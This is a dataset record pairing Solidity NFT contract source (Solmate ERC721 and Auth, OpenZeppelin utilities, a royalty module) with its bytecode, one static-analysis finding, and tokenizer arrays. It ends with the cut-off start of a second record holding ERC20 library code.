isApprovedForAll; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor(string memory _name, string memory _symbol) { name = _name; symbol = _symbol; } /*/////////////////////////////////////////////////////////////// ERC721 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 id) public virtual { address owner = ownerOf[id]; require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED"); getApproved[id] = spender; emit Approval(owner, spender, id); } function setApprovalForAll(address operator, bool approved) public virtual { isApprovedForAll[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function transferFrom( address from, address to, uint256 id ) public virtual { require(from == ownerOf[id], "WRONG_FROM"); require(to != address(0), "INVALID_RECIPIENT"); require( msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED" ); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. unchecked { balanceOf[from]--; balanceOf[to]++; } ownerOf[id] = to; delete getApproved[id]; emit Transfer(from, to, id); } function safeTransferFrom( address from, address to, uint256 id ) public virtual { transferFrom(from, to, id); require( to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") == ERC721TokenReceiver.onERC721Received.selector, "UNSAFE_RECIPIENT" ); } function safeTransferFrom( address from, address to, uint256 id, bytes memory data ) public virtual { transferFrom(from, to, id); require( to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) == ERC721TokenReceiver.onERC721Received.selector, "UNSAFE_RECIPIENT" ); } /*/////////////////////////////////////////////////////////////// ERC165 LOGIC //////////////////////////////////////////////////////////////*/ function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 id) internal virtual { require(to != address(0), "INVALID_RECIPIENT"); require(ownerOf[id] == address(0), "ALREADY_MINTED"); // Counter overflow is incredibly unrealistic. unchecked { balanceOf[to]++; } ownerOf[id] = to; emit Transfer(address(0), to, id); } function _burn(uint256 id) internal virtual { address owner = ownerOf[id]; require(ownerOf[id] != address(0), "NOT_MINTED"); // Ownership check above ensures no underflow. unchecked { balanceOf[owner]--; } delete ownerOf[id]; delete getApproved[id]; emit Transfer(owner, address(0), id); } /*/////////////////////////////////////////////////////////////// INTERNAL SAFE MINT LOGIC //////////////////////////////////////////////////////////////*/ function _safeMint(address to, uint256 id) internal virtual { _mint(to, id); require( to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") == ERC721TokenReceiver.onERC721Received.selector, "UNSAFE_RECIPIENT" ); } function _safeMint( address to, uint256 id, bytes memory data ) internal virtual { _mint(to, id); require( to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) == ERC721TokenReceiver.onERC721Received.selector, "UNSAFE_RECIPIENT" ); } } /// @notice A generic interface for a contract which properly accepts ERC721 tokens. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol) interface ERC721TokenReceiver { function onERC721Received( address operator, address from, uint256 id, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) abstract contract Auth { event OwnerUpdated(address indexed user, address indexed newOwner); event AuthorityUpdated(address indexed user, Authority indexed newAuthority); address public owner; Authority public authority; constructor(address _owner, Authority _authority) { owner = _owner; authority = _authority; emit OwnerUpdated(msg.sender, _owner); emit AuthorityUpdated(msg.sender, _authority); } modifier requiresAuth() { require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED"); _; } function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) { Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas. // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be // aware that this makes protected functions uncallable even to the owner if the authority is out of order. return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner; } function setAuthority(Authority newAuthority) public virtual { // We check if the caller is the owner first because we want to ensure they can // always swap out the authority even if it's reverting or using up a lot of gas. require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig)); authority = newAuthority; emit AuthorityUpdated(msg.sender, newAuthority); } function setOwner(address newOwner) public virtual requiresAuth { owner = newOwner; emit OwnerUpdated(msg.sender, newOwner); } } /// @notice A generic interface for a contract which provides authorization data to an Auth instance. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) interface Authority { function canCall( address user, address target, bytes4 functionSig ) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol) pragma solidity ^0.8.0; /** * @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential. * Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor]. */ library BitMaps { struct BitMap { mapping(uint256 => uint256) _data; } /** * @dev Returns whether the bit at `index` is set. */ function get(BitMap storage bitmap, uint256 index) internal view returns (bool) { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); return bitmap._data[bucket] & mask != 0; } /** * @dev Sets the bit at `index` to the boolean `value`. */ function setTo( BitMap storage bitmap, uint256 index, bool value ) internal { if (value) { set(bitmap, index); } else { unset(bitmap, index); } } /** * @dev Sets the bit at `index`. */ function set(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] |= mask; } /** * @dev Unsets the bit at `index`. */ function unset(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] &= ~mask; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity >=0.8.0; /// @title Minimalist ERC2981 implementation. /// @notice To be used within Quantum, as it was written for its needs. /// @author exp.table abstract contract ERC2981 { /// @dev one global fee for all royalties. uint256 internal _royaltyFee; /// @dev one global recipient for all royalties. address internal _royaltyRecipient; function royaltyInfo(uint256 tokenId, uint256 salePrice) public view virtual returns ( address receiver, uint256 royaltyAmount ) { receiver = _royaltyRecipient; royaltyAmount = (salePrice * _royaltyFee) / 10000; } function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 interfaceId == 0x2a55205a; // ERC165 Interface ID for ERC2981 } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636352211e116101045780638f17ae32116100a2578063bf7e214f11610071578063bf7e214f14610496578063c87b56dd146104b6578063e985e9c5146104c9578063fca3b5aa146104f757600080fd5b80638f17ae321461044857806395d89b4114610468578063a22cb46514610470578063b88d4fde1461048357600080fd5b806382295a2d116100de57806382295a2d146103ef5780638ad8d1d6146104025780638c73a042146104155780638da5cb5b1461042857600080fd5b80636352211e1461038657806370a08231146103bc5780637a9e5e4b146103dc57600080fd5b806323b872dd1161017157806341e42f301161014b57806341e42f301461033a57806342842e0e1461034d57806342966c681461036057806355f804b31461037357600080fd5b806323b872dd146102d55780632a55205a146102e85780633e4086e51461032757600080fd5b8063095ea7b3116101ad578063095ea7b31461026c57806313af403514610281578063197d3520146102945780631adbdf32146102a757600080fd5b806301ffc9a7146101d457806306fdde03146101fc578063081812fc14610211575b600080fd5b6101e76101e2366004611e0c565b61050a565b60405190151581526020015b60405180910390f35b61020461052a565b6040516101f39190611ea6565b61024761021f366004611eb9565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101f3565b61027f61027a366004611ef4565b6105b8565b005b61027f61028f366004611f20565b6106ed565b61027f6102a2366004611f3d565b6107d8565b6102c76102b5366004611eb9565b600c6020526000908152604090205481565b6040519081526020016101f3565b61027f6102e3366004611f5f565b6108ba565b6102fb6102f6366004611f3d565b610b33565b6040805173ffffffffffffffffffffffffffffffffffffffff90931683526020830191909152016101f3565b61027f610335366004611eb9565b610b76565b61027f610348366004611f20565b610bf5565b61027f61035b366004611f5f565b610cb6565b61027f61036e366004611eb9565b610e06565b61027f610381366004611fe9565b610ef0565b610247610394366004611eb9565b60036020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b6102c76103ca366004611f20565b60026020526000908152604090205481565b61027f6103ea366004611f20565b610f76565b61027f6103fd36600461202b565b6110d3565b610204610410366004611eb9565b61116c565b61027f610423366004612077565b611185565b6008546102479073ffffffffffffffffffffffffffffffffffffffff1681565b6102c7610456366004611eb9565b600b6020526000908152604090205481565b61020461128e565b61027f61047e3660046120ba565b61129b565b61027f610491366004612122565b611332565b6009546102479073ffffffffffffffffffffffffffffffffffffffff1681565b6102046104c4366004611eb9565b611469565b6101e76104d7366004612220565b600560209081526000928352604080842090915290825290205460ff1681565b61027f610505366004611f20565b6114ce565b60006105158261158f565b80610524575061052482611670565b92915050565b600080546105379061224e565b80601f01602080910402602001604051908101604052809291908181526020018280546105639061224e565b80156105b05780601f10610585576101008083540402835291602001916105b0565b820191906000526020600020905b81548152906001019060200180831161059357829003601f168201915b505050505081565b60008181526003602052604090205473ffffffffffffffffffffffffffffffffffffffff163381148061061b575073ffffffffffffffffffffffffffffffffffffffff8116600090815260056020908152604080832033845290915290205460ff165b61066c5760405162461bcd60e51b815260206004820152600e60248201527f4e4f545f415554484f52495a454400000000000000000000000000000000000060448201526064015b60405180910390fd5b60008281526004602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b61071b336000357fffffffff0000000000000000000000000000000000000000000000000000000016611705565b6107675760405162461bcd60e51b815260206004820152600c60248201527f554e415554484f52495a454400000000000000000000000000000000000000006044820152606401610663565b600880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811790915560405133907f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d7690600090a350565b60008281526003602052604090205473ffffffffffffffffffffffffffffffffffffffff16331461084b5760405162461bcd60e51b815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610663565b6000828152600c602052604090205481116108a85760405162461bcd60e51b815260206004820152600b60248201527f43414e545f5245564552540000000000000000000000000000000000000000006044820152606401610663565b6000918252600c602052604090912055565b60008181526003602052604090205473ffffffffffffffffffffffffffffffffffffffff8481169116146109305760405162461bcd60e51b815260206004820152600a60248201527f57524f4e475f46524f4d000000000000000000000000000000000000000000006044820152606401610663565b73ffffffffffffffffffffffffffffffffffffffff82166109935760405162461bcd60e51b815260206004820152601160248201527f494e56414c49445f524543495049454e540000000000000000000000000000006044820152606401610663565b3373ffffffffffffffffffffffffffffffffffffffff841614806109da575060008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1633145b80610a15575073ffffffffffffffffffffffffffffffffffffffff8316600090815260056020908152604080832033845290915290205460ff165b610a615760405162461bcd60e51b815260206004820152600e60248201527f4e4f545f415554484f52495a45440000000000000000000000000000000000006044820152606401610663565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055938616808352848320805460010190558583526003825284832080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081168317909155600490925284832080549092169091559251849392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60075460065473ffffffffffffffffffffffffffffffffffffffff9091169060009061271090610b6390856122d1565b610b6d919061233d565b90509250929050565b610ba4336000357fffffffff0000000000000000000000000000000000000000000000000000000016611705565b610bf05760405162461bcd60e51b815260206004820152600c60248201527f554e415554484f52495a454400000000000000000000000000000000000000006044820152606401610663565b600655565b610c23336000357fffffffff0000000000000000000000000000000000000000000000000000000016611705565b610c6f5760405162461bcd60e51b815260206004820152600c60248201527f554e415554484f52495a454400000000000000000000000000000000000000006044820152606401610663565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610cc18383836108ba565b73ffffffffffffffffffffffffffffffffffffffff82163b1580610db557506040517f150b7a020000000000000000000000000000000000000000000000000000000080825233600483015273ffffffffffffffffffffffffffffffffffffffff858116602484015260448301849052608060648401526000608484015290919084169063150b7a029060a4016020604051808303816000875af1158015610d6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d919190612351565b7fffffffff0000000000000000000000000000000000000000000000000000000016145b610e015760405162461bcd60e51b815260206004820152601060248201527f554e534146455f524543495049454e54000000000000000000000000000000006044820152606401610663565b505050565b60008181526003602052604090205473ffffffffffffffffffffffffffffffffffffffff1633811480610e5c575060008281526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1633145b80610e97575073ffffffffffffffffffffffffffffffffffffffff8116600090815260056020908152604080832033845290915290205460ff165b610ee35760405162461bcd60e51b815260206004820152600e60248201527f4e4f545f415554484f52495a45440000000000000000000000000000000000006044820152606401610663565b610eec82611816565b5050565b610f1e336000357fffffffff0000000000000000000000000000000000000000000000000000000016611705565b610f6a5760405162461bcd60e51b815260206004820152600c60248201527f554e415554484f52495a454400000000000000000000000000000000000000006044820152606401610663565b610e01600d8383611d24565b60085473ffffffffffffffffffffffffffffffffffffffff1633148061105957506009546040517fb70096130000000000000000000000000000000000000000000000000000000081523360048201523060248201526000357fffffffff0000000000000000000000000000000000000000000000000000000016604482015273ffffffffffffffffffffffffffffffffffffffff9091169063b700961390606401602060405180830381865afa158015611035573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611059919061236e565b61106257600080fd5b600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811790915560405133907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a350565b611101336000357fffffffff0000000000000000000000000000000000000000000000000000000016611705565b61114d5760405162461bcd60e51b815260206004820152600c60248201527f554e415554484f52495a454400000000000000000000000000000000000000006044820152606401610663565b6000838152600a60205260409020611166908383611d24565b50505050565b600a60205260009081526040902080546105379061224e565b60085473ffffffffffffffffffffffffffffffffffffffff163314806111c25750600e5473ffffffffffffffffffffffffffffffffffffffff1633145b61120e5760405162461bcd60e51b815260206004820152600e60248201527f4e4f545f415554484f52495a45440000000000000000000000000000000000006044820152606401610663565b6000828152600b6020526040812054905b8281101561126457611252858284611239612710896122d1565b611243919061238b565b61124d919061238b565b611946565b8061125c816123a3565b91505061121f565b506000838152600b60205260408120805484929061128390849061238b565b909155505050505050565b600180546105379061224e565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61133d8484846108ba565b73ffffffffffffffffffffffffffffffffffffffff83163b158061141d57506040517f150b7a02000000000000000000000000000000000000000000000000000000008082529073ffffffffffffffffffffffffffffffffffffffff85169063150b7a02906113b69033908990889088906004016123dc565b6020604051808303816000875af11580156113d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f99190612351565b7fffffffff0000000000000000000000000000000000000000000000000000000016145b6111665760405162461bcd60e51b815260206004820152601060248201527f554e534146455f524543495049454e54000000000000000000000000000000006044820152606401610663565b606060006114796127108461233d565b6000818152600a60209081526040808320878452600c90925290912054919250600d916114a590611a8d565b6040516020016114b7939291906124f6565b604051602081830303815290604052915050919050565b6114fc336000357fffffffff0000000000000000000000000000000000000000000000000000000016611705565b6115485760405162461bcd60e51b815260206004820152600c60248201527f554e415554484f52495a454400000000000000000000000000000000000000006044820152606401610663565b600e80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316148061162257507f80ac58cd000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b806105245750507fffffffff00000000000000000000000000000000000000000000000000000000167f5b5e139f000000000000000000000000000000000000000000000000000000001490565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614806105245750507fffffffff00000000000000000000000000000000000000000000000000000000167f2a55205a000000000000000000000000000000000000000000000000000000001490565b60095460009073ffffffffffffffffffffffffffffffffffffffff1680158015906117e957506040517fb700961300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301523060248301527fffffffff000000000000000000000000000000000000000000000000000000008516604483015282169063b700961390606401602060405180830381865afa1580156117c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e9919061236e565b8061180e575060085473ffffffffffffffffffffffffffffffffffffffff8581169116145b949350505050565b60008181526003602052604090205473ffffffffffffffffffffffffffffffffffffffff16806118885760405162461bcd60e51b815260206004820152600a60248201527f4e4f545f4d494e544544000000000000000000000000000000000000000000006044820152606401610663565b73ffffffffffffffffffffffffffffffffffffffff8116600081815260026020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190558583526003825280832080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811690915560049092528083208054909216909155518492907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6119508282611bbf565b73ffffffffffffffffffffffffffffffffffffffff82163b1580611a4157506040517f150b7a0200000000000000000000000000000000000000000000000000000000808252336004830152600060248301819052604483018490526080606484015260848301529073ffffffffffffffffffffffffffffffffffffffff84169063150b7a029060a4016020604051808303816000875af11580156119f9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1d9190612351565b7fffffffff0000000000000000000000000000000000000000000000000000000016145b610eec5760405162461bcd60e51b815260206004820152601060248201527f554e534146455f524543495049454e54000000000000000000000000000000006044820152606401610663565b606081611acd57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115611af75780611ae1816123a3565b9150611af09050600a8361233d565b9150611ad1565b60008167ffffffffffffffff811115611b1257611b126120f3565b6040519080825280601f01601f191660200182016040528015611b3c576020820181803683370190505b5090505b841561180e57611b5160018361254e565b9150611b5e600a86612565565b611b6990603061238b565b60f81b818381518110611b7e57611b7e612579565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350611bb8600a8661233d565b9450611b40565b73ffffffffffffffffffffffffffffffffffffffff8216611c225760405162461bcd60e51b815260206004820152601160248201527f494e56414c49445f524543495049454e540000000000000000000000000000006044820152606401610663565b60008181526003602052604090205473ffffffffffffffffffffffffffffffffffffffff1615611c945760405162461bcd60e51b815260206004820152600e60248201527f414c52454144595f4d494e5445440000000000000000000000000000000000006044820152606401610663565b73ffffffffffffffffffffffffffffffffffffffff8216600081815260026020908152604080832080546001019055848352600390915280822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168417905551839291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611d309061224e565b90600052602060002090601f016020900481019282611d525760008555611db6565b82601f10611d89578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00823516178555611db6565b82800160010185558215611db6579182015b82811115611db6578235825591602001919060010190611d9b565b50611dc2929150611dc6565b5090565b5b80821115611dc25760008155600101611dc7565b7fffffffff0000000000000000000000000000000000000000000000000000000081168114611e0957600080fd5b50565b600060208284031215611e1e57600080fd5b8135611e2981611ddb565b9392505050565b60005b83811015611e4b578181015183820152602001611e33565b838111156111665750506000910152565b60008151808452611e74816020860160208601611e30565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b602081526000611e296020830184611e5c565b600060208284031215611ecb57600080fd5b5035919050565b73ffffffffffffffffffffffffffffffffffffffff81168114611e0957600080fd5b60008060408385031215611f0757600080fd5b8235611f1281611ed2565b946020939093013593505050565b600060208284031215611f3257600080fd5b8135611e2981611ed2565b60008060408385031215611f5057600080fd5b50508035926020909101359150565b600080600060608486031215611f7457600080fd5b8335611f7f81611ed2565b92506020840135611f8f81611ed2565b929592945050506040919091013590565b60008083601f840112611fb257600080fd5b50813567ffffffffffffffff811115611fca57600080fd5b602083019150836020828501011115611fe257600080fd5b9250929050565b60008060208385031215611ffc57600080fd5b823567ffffffffffffffff81111561201357600080fd5b61201f85828601611fa0565b90969095509350505050565b60008060006040848603121561204057600080fd5b83359250602084013567ffffffffffffffff81111561205e57600080fd5b61206a86828701611fa0565b9497909650939450505050565b60008060006060848603121561208c57600080fd5b833561209781611ed2565b95602085013595506040909401359392505050565b8015158114611e0957600080fd5b600080604083850312156120cd57600080fd5b82356120d881611ed2565b915060208301356120e8816120ac565b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000806080858703121561213857600080fd5b843561214381611ed2565b9350602085013561215381611ed2565b925060408501359150606085013567ffffffffffffffff8082111561217757600080fd5b818701915087601f83011261218b57600080fd5b81358181111561219d5761219d6120f3565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156121e3576121e36120f3565b816040528281528a60208487010111156121fc57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561223357600080fd5b823561223e81611ed2565b915060208301356120e881611ed2565b600181811c9082168061226257607f821691505b6020821081141561229c577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612309576123096122a2565b500290565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008261234c5761234c61230e565b500490565b60006020828403121561236357600080fd5b8151611e2981611ddb565b60006020828403121561238057600080fd5b8151611e29816120ac565b6000821982111561239e5761239e6122a2565b500190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156123d5576123d56122a2565b5060010190565b600073ffffffffffffffffffffffffffffffffffffffff80871683528086166020840152508360408301526080606083015261241b6080830184611e5c565b9695505050505050565b8054600090600181811c908083168061243f57607f831692505b602080841082141561247a577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b81801561248e57600181146124bd576124ea565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff008616895284890196506124ea565b60008881526020902060005b868110156124e25781548b8201529085019083016124c9565b505084890196505b50505050505092915050565b600061250b6125058387612425565b85612425565b7f2f0000000000000000000000000000000000000000000000000000000000000081528351612541816001840160208801611e30565b0160010195945050505050565b600082821015612560576125606122a2565b500390565b6000826125745761257461230e565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fdfea2646970667358221220e7cf72724b9ab7b6720da8bf2c5ecf4d3546f880eb060908fac8bdda6329449f64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2629, 2050, 2581, 14526, 22394, 2575, 2509, 2050, 22025, 2509, 2278, 2620, 2050, 2683, 28756, 2620, 2683, 2063, 11387, 22407, 2575, 16336, 28756, 12521, 10322, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 12324, 1063, 9413, 2278, 2581, 17465, 2004, 9413, 2278, 2581, 17465, 2015, 1065, 2013, 1000, 1030, 10958, 3089, 1011, 3007, 1013, 14017, 8585, 1013, 5034, 2278, 1013, 19204, 2015, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 10958, 3089, 1011, 3007, 1013, 14017, 8585, 1013, 5034, 2278, 1013, 8740, 2705, 1013, 8740, 2705, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,581
0x9706f2bc85704a4d529e253db1714967a14bcdb7
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - 